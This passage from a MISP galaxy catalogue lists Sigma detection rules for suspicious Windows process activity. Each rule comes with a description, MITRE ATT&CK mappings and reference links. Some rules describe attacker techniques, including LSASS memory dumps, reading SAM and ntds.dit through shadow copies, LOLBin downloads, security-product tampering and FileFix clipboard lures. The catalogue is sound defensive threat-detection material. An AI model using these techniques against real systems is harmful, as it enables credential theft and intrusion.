Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script to run for a specific VM state

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via VMwareToolBoxCmd.EXE VM State Change Script"*

View relationships graph

Potential Persistence Via VMwareToolBoxCmd.EXE VM State Change Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15097. Table References

Links
https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/
https://www.hexacorn.com/blog/2017/01/14/beyond-good-ol-run-key-part-53/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmware_toolbox_cmd_persistence.yml

Potential Tampering With Security Products Via WMIC

Detects uninstallation or termination of security products using the WMIC utility

The tag is: *misp-galaxy:sigma-rules="Potential Tampering With Security Products Via WMIC"*

View relationships graph

Potential Tampering With Security Products Via WMIC has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15098. Table References

Links
https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/
https://www.trendmicro.com/en_us/research/23/a/vice-society-ransomware-group-targets-manufacturing-companies.html
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://twitter.com/cglyer/status/1355171195654709249

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_uninstall_security_products.yml

Potential Suspicious Activity Using SeCEdit

Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy

The tag is: *misp-galaxy:sigma-rules="Potential Suspicious Activity Using SeCEdit"*

View relationships graph

Potential Suspicious Activity Using SeCEdit has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Terminal Services DLL - T1505.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1556.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hidden Users - T1564.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Active Setup - T1547.014" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Port Monitors - T1547.010" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Authentication Package - T1547.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 15099. Table References

Links
https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_secedit_execution.yml

RDP Enable or Disable via Win32_TerminalServiceSetting WMI Class

Detects enabling or disabling of Remote Desktop Protocol (RDP) using alternate methods such as WMIC or PowerShell. In PowerShell one-liner commands, the "SetAllowTSConnections" method of the "Win32_TerminalServiceSetting" class may be used to enable or disable RDP. In WMIC, the "rdtoggle" alias or "Win32_TerminalServiceSetting" class may be used for the same purpose.

The tag is: *misp-galaxy:sigma-rules="RDP Enable or Disable via Win32_TerminalServiceSetting WMI Class"*

View relationships graph

RDP Enable or Disable via Win32_TerminalServiceSetting WMI Class has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15100. Table References

Links
https://github.com/HackTricks-wiki/hacktricks/blob/72f20a3fa26775b932bd819f1824c6377802a768/src/windows-hardening/basic-cmd-for-pentesters.md#firewall
https://www.trendmicro.com/en_gb/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html
https://github.com/Lifailon/RSA/blob/rsa/Sources/RSA-1.4.1.ps1#L1468
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdp_enable_or_disable_via_win32_terminalservicesetting_wmi_class.yml

Arbitrary File Download Via Squirrel.EXE

Detects the usage of the "Squirrel.exe" to download arbitrary files. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)

The tag is: *misp-galaxy:sigma-rules="Arbitrary File Download Via Squirrel.EXE"*

View relationships graph

Arbitrary File Download Via Squirrel.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15101. Table References

Links
http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_squirrel_download.yml

Suspicious Driver/DLL Installation Via Odbcconf.EXE

Detects execution of "odbcconf" with the "INSTALLDRIVER" action where the driver doesn't contain a ".dll" extension. This is often used as a defense evasion method.

The tag is: *misp-galaxy:sigma-rules="Suspicious Driver/DLL Installation Via Odbcconf.EXE"*

View relationships graph

Suspicious Driver/DLL Installation Via Odbcconf.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"

Table 15102. Table References

Links
https://web.archive.org/web/20191023232753/https://twitter.com/Hexacorn/status/1187143326673330176
https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/
https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_driver_install_susp.yml

Suspicious Execution of Systeminfo

Detects usage of the "systeminfo" command to retrieve information

The tag is: *misp-galaxy:sigma-rules="Suspicious Execution of Systeminfo"*

View relationships graph

Suspicious Execution of Systeminfo has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 15103. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-1---system-information-discovery
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_systeminfo_execution.yml

Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location

Detects potentially suspicious execution of the Regasm/Regsvcs utilities from a potentially suspicious location

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location"*

View relationships graph

Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1218.009" with estimative-language:likelihood-probability="almost-certain"

Table 15104. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Regasm/
https://www.fortiguard.com/threat-signal-report/4718?s=09
https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regasm_regsvcs_uncommon_location_execution.yml

SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code

Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs

The tag is: *misp-galaxy:sigma-rules="SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code"*

View relationships graph

SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 15105. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml

Suspicious Autorun Registry Modified via WMI

Detects suspicious activity where the WMIC process is used to create an autorun registry entry via reg.exe, which is often indicative of persistence mechanisms employed by malware.

The tag is: *misp-galaxy:sigma-rules="Suspicious Autorun Registry Modified via WMI"*

View relationships graph

Suspicious Autorun Registry Modified via WMI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15106. Table References

Links

https://github.com/HackTricks-wiki/hacktricks/blob/e4c7b21b8f36c97c35b7c622732b38a189ce18f7/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_autorun_registry_modified_via_wmic.yml

Use of Remote.exe

Remote.exe is part of WinDbg in the Windows SDK and can be used for AWL bypass and running remote files.

The tag is: *misp-galaxy:sigma-rules="Use of Remote.exe"*

View relationships graph

Use of Remote.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 15107. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/
https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml

Potential Mpclient.DLL Sideloading Via OfflineScannerShell.EXE Execution

Detects execution of Windows Defender "OfflineScannerShell.exe" from its non standard directory. The "OfflineScannerShell.exe" binary is vulnerable to DLL side loading and will load any DLL named "mpclient.dll" from the current working directory.

The tag is: *misp-galaxy:sigma-rules="Potential Mpclient.DLL Sideloading Via OfflineScannerShell.EXE Execution"*

View relationships graph

Potential Mpclient.DLL Sideloading Via OfflineScannerShell.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15108. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/OfflineScannerShell/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_offlinescannershell_mpclient_sideloading.yml

Renamed Plink Execution

Detects the execution of a renamed version of the Plink binary

The tag is: *misp-galaxy:sigma-rules="Renamed Plink Execution"*

View relationships graph

Renamed Plink Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 15109. Table References

Links
https://the.earth.li/}sgtatham/putty/0.58/htmldoc/Chapter7.html
https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_plink.yml

Wscript Shell Run In CommandLine

Detects the presence of the keywords "Wscript", "Shell" and "Run" in the command, which could indicate a suspicious activity

The tag is: *misp-galaxy:sigma-rules="Wscript Shell Run In CommandLine"*

View relationships graph

Wscript Shell Run In CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15110. Table References

Links
https://blog.talosintelligence.com/modernloader-delivers-multiple-stealers-cryptominers-and-rats/

https://web.archive.org/web/20220830122045/http://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_inline_vbscript.yml

Uncommon Userinit Child Process

Detects uncommon "userinit.exe" child processes, which could be a sign of uncommon shells or login scripts used for persistence.

The tag is: *misp-galaxy:sigma-rules="Uncommon Userinit Child Process"*

View relationships graph

Uncommon Userinit Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"

Table 15111. Table References

Links
https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html
https://learn.microsoft.com/en-us/windows-server/administration/server-core/server-core-sconfig#powershell-is-the-default-shell-on-server-core
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_userinit_uncommon_child_processes.yml

PUA - PingCastle Execution From Potentially Suspicious Parent

Detects the execution of PingCastle, a tool designed to quickly assess the Active Directory security level via a script located in a potentially suspicious or uncommon location.

The tag is: *misp-galaxy:sigma-rules="PUA - PingCastle Execution From Potentially Suspicious Parent"*

View relationships graph

PUA - PingCastle Execution From Potentially Suspicious Parent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Active Scanning - T1595" with estimative-language:likelihood-probability="almost-certain"

Table 15112. Table References

Links

https://github.com/projectHULK/AD_Recon/blob/dde2daba9b3393a9388cbebda87068972cc0bd3b/SecurityAssessment.ps1#L2699
https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/
https://github.com/fengjixuchui/Start-ADEnum/blob/e237a739db98b6104427d833004836507da36a58/Functions/Start-ADEnum.ps1#L450
https://github.com/vletoux/pingcastle
https://github.com/lkys37en/Start-ADEnum/blob/5b42c54215fe5f57fc59abc52c20487d15764005/Functions/Start-ADEnum.ps1#L680
https://github.com/EvotecIT/TheDashboard/blob/481a9ce8f82f2fd55fe65220ee6486bae6df0c9d/Examples/RunReports/PingCastle.ps1
https://github.com/802-1x/Compliance/blob/2e53df8b6e89686a0b91116b3f42c8f717dca820/Ping%20Castle/Get-PingCastle-HTMLComplianceReport.ps1#L8
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_pingcastle_script_parent.yml

PowerShell Web Access Feature Enabled Via DISM

Detects the use of DISM to enable the PowerShell Web Access feature, which could be used for remote access and potential abuse

The tag is: *misp-galaxy:sigma-rules="PowerShell Web Access Feature Enabled Via DISM"*

View relationships graph

PowerShell Web Access Feature Enabled Via DISM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15113. Table References

Links
https://docs.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-241a
https://gist.github.com/MHaggis/7e67b659af9148fa593cf2402edebb41
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dism_enable_powershell_web_access_feature.yml

Suspicious Chromium Browser Instance Executed With Custom Extension

Detects a suspicious process spawning a Chromium based browser process with the 'load-extension'

flag to start an instance with a custom extension

The tag is: *misp-galaxy:sigma-rules="Suspicious Chromium Browser Instance Executed With Custom Extension"*

View relationships graph

Suspicious Chromium Browser Instance Executed With Custom Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176.001" with estimative-language:likelihood-probability="almost-certain"

Table 15114. Table References

Links
https://emkc.org/s/RJjuLa
https://www.mandiant.com/resources/blog/lnk-between-browsers
https://redcanary.com/blog/chromeloader/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_susp_load_extension.yml

HackTool - Potential Impacket Lateral Movement Activity

Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework

The tag is: *misp-galaxy:sigma-rules="HackTool - Potential Impacket Lateral Movement Activity"*

View relationships graph

HackTool - Potential Impacket Lateral Movement Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 15115. Table References

Links
https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/smbexec.py
https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/dcomexec.py
https://www.elastic.co/guide/en/security/current/suspicious-cmd-execution-via-wmi.html

https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py
https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_impacket_lateral_movement.yml

Regsvr32 Execution From Potential Suspicious Location

Detects execution of regsvr32 where the DLL is located in a potentially suspicious location.

The tag is: *misp-galaxy:sigma-rules="Regsvr32 Execution From Potential Suspicious Location"*

View relationships graph

Regsvr32 Execution From Potential Suspicious Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 15116. Table References

Links
https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/
https://web.archive.org/web/20171001085340/https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_susp_exec_path_1.yml

LSASS Dump Keyword In CommandLine

Detects the presence of the keywords "lsass" and ".dmp" in the commandline, which could indicate a potential attempt to dump or create a dump of the lsass process.

The tag is: *misp-galaxy:sigma-rules="LSASS Dump Keyword In CommandLine"*

View relationships graph

LSASS Dump Keyword In CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15117. Table References

Links

https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf
https://github.com/Hackndo/lsassy
https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml
https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/
https://github.com/helpsystems/nanodump
https://github.com/CCob/MirrorDump
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lsass_dmp_cli_keywords.yml

Abusing Print Executable

Attackers can use print.exe for remote file copy

The tag is: *misp-galaxy:sigma-rules="Abusing Print Executable"*

View relationships graph

Abusing Print Executable has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15118. Table References

Links
https://twitter.com/Oddvarmoe/status/985518877076541440
https://lolbas-project.github.io/lolbas/Binaries/Print/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_print_remote_file_copy.yml

Suspicious FileFix Execution Pattern

Detects suspicious FileFix execution patterns where users are tricked into running malicious commands through browser file upload dialog manipulation. This attack typically begins when users visit malicious websites impersonating legitimate services or news platforms, which may display fake CAPTCHA challenges or direct instructions to open file explorer and paste clipboard content. The clipboard content usually contains commands that download and execute malware, such as information stealing tools.

The tag is: *misp-galaxy:sigma-rules="Suspicious FileFix Execution Pattern"*

View relationships graph

Suspicious FileFix Execution Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious Copy and Paste - T1204.004" with estimative-language:likelihood-probability="almost-certain"

Table 15119. Table References

Links
https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/
https://mrd0x.com/filefix-clickfix-alternative/
https://blog.checkpoint.com/research/filefix-the-new-social-engineering-attack-building-on-clickfix-tested-in-the-wild/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_filefix_execution_pattern.yml

HackTool - SharpUp PrivEsc Tool Execution

Detects the use of SharpUp, a tool for local privilege escalation

The tag is: *misp-galaxy:sigma-rules="HackTool - SharpUp PrivEsc Tool Execution"*

View relationships graph

HackTool - SharpUp PrivEsc Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Executable Installer File Permissions Weakness - T1574.005" with estimative-language:likelihood-probability="almost-certain"

Table 15120. Table References

Links
https://github.com/GhostPack/SharpUp
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpup.yml

Php Inline Command Execution

Detects execution of php using the "-r" flag. This is could be used as a way to launch a reverse shell or execute live php code.

The tag is: *misp-galaxy:sigma-rules="Php Inline Command Execution"*

View relationships graph

Php Inline Command Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15121. Table References

Links
https://www.revshells.com/
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://www.php.net/manual/en/features.commandline.php
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_php_inline_command_execution.yml

Suspicious File Download From IP Via Wget.EXE

Detects potentially suspicious file downloads directly from IP addresses using Wget.exe

The tag is: *misp-galaxy:sigma-rules="Suspicious File Download From IP Via Wget.EXE"*

Table 15122. Table References

Links
https://www.gnu.org/software/wget/manual/wget.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wget_download_direct_ip.yml

Suspicious Driver Install by pnputil.exe

Detects when a possible suspicious driver is being installed via pnputil.exe lolbin

The tag is: *misp-galaxy:sigma-rules="Suspicious Driver Install by pnputil.exe"*

View relationships graph

Suspicious Driver Install by pnputil.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"

Table 15123. Table References

Links
https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html
https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil-command-syntax

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml

IIS Native-Code Module Command Line Installation

Detects suspicious IIS native-code module installations via command line

The tag is: *misp-galaxy:sigma-rules="IIS Native-Code Module Command Line Installation"*

View relationships graph

IIS Native-Code Module Command Line Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 15124. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/
https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_susp_module_install.yml

Use of UltraVNC Remote Access Software

An adversary may use legitimate desktop support and remote access software,to establish an interactive command and control channel to target systems within networks

The tag is: *misp-galaxy:sigma-rules="Use of UltraVNC Remote Access Software"*

View relationships graph

Use of UltraVNC Remote Access Software has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 15125. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1219/T1219.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc.yml

Enumerate All Information With Whoami.EXE

Detects the execution of "whoami.exe" with the "/all" flag

The tag is: *misp-galaxy:sigma-rules="Enumerate All Information With Whoami.EXE"*

View relationships graph

Enumerate All Information With Whoami.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 15126. Table References

Links
https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s
https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/
https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_all_execution.yml

Potential Arbitrary Command Execution Via FTP.EXE

Detects execution of "ftp.exe" script with the "-s" or "/s" flag and any child processes ran by "ftp.exe".

The tag is: *misp-galaxy:sigma-rules="Potential Arbitrary Command Execution Via FTP.EXE"*

View relationships graph

Potential Arbitrary Command Execution Via FTP.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15127. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Ftp/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ftp_arbitrary_command_execution.yml

Sensitive File Access Via Volume Shadow Copy Backup

Detects a command that accesses the VolumeShadowCopy in order to extract sensitive files such as the Security or SAM registry hives or the AD database (ntds.dit)

The tag is: *misp-galaxy:sigma-rules="Sensitive File Access Via Volume Shadow Copy Backup"*

View relationships graph

Sensitive File Access Via Volume Shadow Copy Backup has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 15128. Table References

Links
https://twitter.com/vxunderground/status/1423336151860002816?s=20
https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/
https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sensitive_file_access_shadowcopy.yml

Potential LethalHTA Technique Execution

Detects potential LethalHTA technique where the "mshta.exe" is spawned by an "svchost.exe" process

The tag is: *misp-galaxy:sigma-rules="Potential LethalHTA Technique Execution"*

View relationships graph

Potential LethalHTA Technique Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

Table 15129. Table References

Links
https://codewhitesec.blogspot.com/2018/07/lethalhta.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml

PUA - Kernel Driver Utility (KDU) Execution

Detects execution of the Kernel Driver Utility (KDU) tool. KDU can be used to bypass driver signature enforcement and load unsigned or malicious drivers into the Windows kernel. Potentially allowing for privilege escalation, persistence, or evasion of security controls.

The tag is: *misp-galaxy:sigma-rules="PUA - Kernel Driver Utility (KDU) Execution"*

View relationships graph

PUA - Kernel Driver Utility (KDU) Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 15130. Table References

Links
https://huntress.com/blog/esxi-vm-escape-exploit
https://github.com/h4rmy/KDU
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_kdu_driver_tool.yml

Potentially Suspicious Office Document Executed From Trusted Location

Detects the execution of an Office application that points to a document that is located in a trusted location. Attackers often used this to avoid macro security and execute their malicious code.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Office Document Executed From Trusted Location"*

View relationships graph

Potentially Suspicious Office Document Executed From Trusted Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15131. Table References

Links
https://techcommunity.microsoft.com/t5/microsoft-365-blog/new-security-hardening-policies-for-trusted-documents/ba-p/3023465
https://twitter.com/_JohnHammond/status/1588155401752788994
https://twitter.com/Max_Mal_/status/1633863678909874176
Internal Research[Internal Research]

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_exec_from_trusted_locations.yml

Remote Access Tool - AnyDesk Execution

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - AnyDesk Execution"*

View relationships graph

Remote Access Tool - AnyDesk Execution has relationships with:

